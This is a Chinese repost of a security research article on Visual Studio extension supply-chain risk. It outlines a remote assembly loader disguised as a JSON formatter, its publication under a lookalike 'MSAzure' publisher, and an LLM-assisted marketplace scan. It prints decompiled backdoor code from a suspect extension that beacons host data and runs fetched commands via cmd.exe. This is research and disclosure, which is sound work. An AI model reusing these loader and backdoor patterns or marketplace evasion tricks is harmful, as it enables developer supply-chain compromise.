三年前我们研究了 VS Code 插件如何被用于红队渗透,结果相当吓人。现在轮到它的老大哥 Visual Studio 了。结论说出来可能你不信——这个生态系统的安全性比三年前还要烂。我们不仅手把手构建了一个能远程加载恶意代码的“正规”插件,还成功绕过了微软应用商店的所有审查,把后门伪装成 JSON 格式化工具公开上架。随后用自动化脚本把市场里近万个插件扫了一遍,结果发现一个疑似早已部署的后门程序,正在默默收集主机信息并等待远程指令。
开场白
几年前我们搞过一次研究,看怎么拿 VS Code 插件当跳板打内网。那时候就觉得,这玩意儿安全隐患太大了。三年过去了,GitHub 自己都被一个植入了木马的 VS Code 插件搞了。这就让人不得不好奇:VS Code 的大哥 Visual Studio,它的插件生态到底怎么样?
说真的,三年时间,按理说微软早该把这些问题收拾干净了。但如果你不想看长篇大论,我就直接告诉你结论:现状简直是一团糟。
怎么造一个 Visual Studio 恶意插件
Visual Studio 插件主要分两种:老派的 VSSDK 插件跑在 devenv.exe 进程里,权限大但容易搞崩 IDE,装完还得重启。另一种叫 VisualStudio.Extensibility,用现代 .NET 写的,主打进程外运行,号称更稳定、更可靠。
我们就拿第二种开刀。Visual Studio 还贴心地给开发者准备了模板:


模板代码很简单,目标框架 net8.0,一触发就弹个 MessageBox:
using Microsoft.VisualStudio.Extensibility;
using Microsoft.VisualStudio.Extensibility.Commands;
using Microsoft.VisualStudio.Extensibility.Shell;
using System.Diagnostics;
namespace HelloWorldExtension
{
///
/// Command1 handler.
///
[VisualStudioContribution]
internal class Command1 : Command
{
private readonly TraceSource logger;
public Command1(TraceSource traceSource)
{
this.logger = Requires.NotNull(traceSource, nameof(traceSource));
}
public override CommandConfiguration CommandConfiguration => new("%HelloWorldExtension.Command1.DisplayName%")
{
Icon = new(ImageMoniker.KnownValues.Extension, IconSettings.IconAndText),
Placements = [CommandPlacement.KnownPlacements.ExtensionsMenu]
};
public override async Task ExecuteCommandAsync(IClientContext context, CancellationToken cancellationToken)
{
await this.Extensibility.Shell().ShowPromptAsync("Hello from an extension!", PromptOptions.OK, cancellationToken);
}
}
}
插件部署后会注册一条命令,用户从扩展菜单点它的时候触发 ExecuteCommandAsync:

能弹个窗证明代码能跑,这当然有用,但红队干活讲究的是低调。我们得让插件在后台自动触发。微软的文档里写了两种文本视图监听器:ITextViewChangedListener 和 ITextViewOpenClosedListener,能监控编辑器里文件的打开、关闭和修改。
用 ITextViewOpenClosedListener 做一个插件,每次有人在 Visual Studio 里打开文件,代码就自动跑起来。我们加了个过滤,只在打开 JSON 文件时触发,顺手还给它塞了个格式化 JSON 的功能当伪装:
using Microsoft.VisualStudio.Extensibility.Editor;
using System.Diagnostics;
using System.Reflection;
using System.Text.Json;
namespace PrettyJson
{
[VisualStudioContribution]
internal class JsonAutoFormatListener : ExtensionPart, ITextViewOpenClosedListener
{
private static readonly JsonSerializerOptions PrettyOptions = new()
{
WriteIndented = true,
};
public JsonAutoFormatListener(TraceSource traceSource) { this.logger = traceSource; }
public TextViewExtensionConfiguration TextViewExtensionConfiguration => new()
{
AppliesTo = [DocumentFilter.FromDocumentType("json")],
};
// ... 省略格式化和替换逻辑
}
}
到这一步,它还是个正经的 JSON 格式化插件。接下来加料,把 TextViewOpenedAsync 里塞几行代码,让它变成远程程序集加载器:
{
var plain = await FetchUpdateAsync("");
LoadUpdate(plain, new[] { "" });
}
catch (Exception ex) { }
FetchUpdateAsync 和 LoadUpdate 的逻辑不复杂:从一个远程 URL 拉一串 Base64 编码的数据,解码成字节数组,用反射加载成程序集,找到入口点就执行。跑在 ServiceHub.Host.Extensibility.arm64.exe 这个进程里,完全脱离了 IDE 的主进程。

监听器触发时,扩展以 DLL 形式从扩展目录加载:


把“后门”发布到 Visual Studio 官方商店
插件能执行远程代码了,下一步得想办法把它塞进 Visual Studio 的官方商店。这部分我们三年前研究 VS Code 时聊过,但得重新验证一下微软这三年到底加了什么防护措施。
注册商店发布者,随便搞个 outlook.com 账号就行,我用的一次性邮箱。登录后系统会让你创建一个发布者(Publisher):

和之前一样,对发布者名称几乎不做校验,只要不跟已有的重名、不碰那几个保留关键词就行。想注册一个叫 Microsoft 或 Azure 的发布者名字,系统会拦住:

除此之外,基本没什么限制。你可以发挥想象力,比如我们注册的叫 MSAzure:

发布者弄好之后就能创建扩展了。过程简单到令人发指:上传一个 Release 编译生成的 VSIX 文件就行:

上传后微软好像会跑一些验证检查,具体查什么不知道,但肯定跟安全无关。反正我们那个带远程加载功能的“JSON 格式化工具”,毫无阻碍地就上架了,对所有用户公开可安装:


扩展的攻击面有多大
跟 VS Code 比起来,Visual Studio 的攻击面稍微小一点,因为没找到能直接触发插件安装的 URL 协议处理器(也可能是我没找到)。攻击路径大概就这几条:
- 把 VSIX 文件附在钓鱼邮件里发给目标
- 诱骗目标从网页商店下载,比如 marketplace.visualstudio.com/items?itemName=MSAzure.visualstudio
- 直接在 Visual Studio 内嵌的扩展浏览器里搜索安装
第三种方式长这样:

不管哪种方式,安装时 Visual Studio Installer 都会弹出来:
如果插件设置成“为所有用户安装”,可能会触发 UAC 提权,最终部署到 Program Files 目录:

从商店安装时,VSIX 文件会被丢到 %LOCALAPPDATA%\Temp,安装参数类似下面这样。安全团队回溯排查时,这些信息可能有用:

最可能被利用的感染路径有两条:一是攻击现有的、有大量用户的正规插件(GitHub 就是这么中招的),二是从零开始慢慢养一个新插件积累安装量。两条路都是正经的供应链攻击。问题在于,开发环境本身就被赋予了大量特权——要能运行代码、调试、写脚本、执行反射——所以这类攻击混在里面很难被发现。
把整个市场翻一遍
搞清楚了攻击面,我们就想知道:现在市场上到底有没有恶意插件在活动?
扫了一眼,Visual Studio 商店大概有近一万个扩展。人工一个个看完全不现实,得搞一套自动化分析流程。我们搭了一个五步流水线:
- 采集:用商店 API 把非 VS Code 的经典 Visual Studio 扩展全拉下来,按资产类型过滤,筛出 9910 个,其中 8566 个是 VSIX 格式。
- 解包:把每个 VSIX 文件解压,解析 manifest,识别代码执行入口。
- 反编译与特征提取:用 ilspycmd 反编译所有 8566 个扩展,过滤掉第三方依赖库,只分析扩展自己的代码。分两条线跑——凭证线索用正则扫密码存储路径(Chrome 密码、Firefox 登录数据、AWS 凭证、Windows Credential Manager 等);行为线索用滑动窗口找“读取后发送”“编码后发送”“下载后执行”等可疑操作组合。这一步筛出 1153 个需要重点关注的扩展。
- LLM 初筛:1153 个还是太多。把每个扩展的反编译代码、行为聚类结果、凭证路径匹配、以及它在商店里声称的功能描述一起丢给 Claude Opus,让它判断这些行为跟声称的功能能不能对得上。
- 深度调查:LLM 认为可疑的,再把全部反编译代码喂给它,开放文件读取和搜索工具让它查。
这套流程主要是周末搞着玩的,结果没预想的那么“丰收”——似乎恶意软件还没大举入侵 Visual Studio 商店,尽管防护措施形同虚设。不过确实翻出几个有意思的东西,包括我们自己的 MSAzure/PrettyJson 也被逮住了:
- 0x12DarkDevelopment/shellcodeEncryption:太直白了,触发了行为检测。查下来发现是个恶意软件开发培训课的产物。
- CELBuildTeam/EntraBuildAssistant:一开始看着可疑,往 azurewebsites 发机器信息,然后根据响应跑计划任务。细看好像是微软内部的遥测应用,不该出现在公开商店里。
- K1tty/RockMargin:也是收集主机信息(主机名、IP)发到一个硬编码 IP,触发检测。人工复查发现还是遥测,没直接恶意。
最可疑的发现:FVsEx
真正让人皱眉的是 thevs-publisher-1477920/FVsEx。这个扩展有明显的后门特征,基本可以判定是恶意的。
它启动后会收集主机信息,包括内网 IP,往 qweq.xyz 发:
{
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(string.Concat("..." + "&name=" + name, "&ip=", GetIp()));
httpWebRequest.Method = "GET";
using WebResponse webResponse = httpWebRequest.GetResponse();
using StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
Console.WriteLine("Statistics:" + streamReader.ReadToEnd());
}
更过分的是 TryGetTips 方法。它往 http://fvsex/Statistics/?macAddr= 发 HTTP 请求,从返回内容里解析命令,然后直接丢给 cmd.exe 执行:
{
try
{
string text = BitConverter.ToString(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().GetAddressBytes());
string[] array = new StreamReader(((HttpWebResponse)WebRequest.Create("" + text).GetResponse()).GetResponseStream()).ReadToEnd().Split(new char[1] { '|' });
if (array.Length != 0)
{
switch (array[0])
{
case "cmd":
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
// ...
process.StandardInput.WriteLine(array[1] + "&exit");
break;
}
}
}
catch (Exception) { }
}
我们想不出这功能有任何正当理由。但主机名硬编码成 fvsex,一时也看不出来攻击者怎么利用它。

得说明几点:我们只查了每个扩展的最新版本,只有匹配了明显可疑字符串的才进入深度分析。如果恶意代码做了混淆、加壳,或者用了更隐蔽的手法,大概率会漏过去。想把分析做得更全面完全没问题,前提是你愿意烧 Token。
虽然在商店里没抓到活跃的恶意软件,但说实话,也许只是我们来得太早。再等三年看看?
参考资料
[1] https://x.com/domchell
[2] https://www.mdsec.co.uk/2026/05/visual-studio-extensions-revisited/
夜雨聆风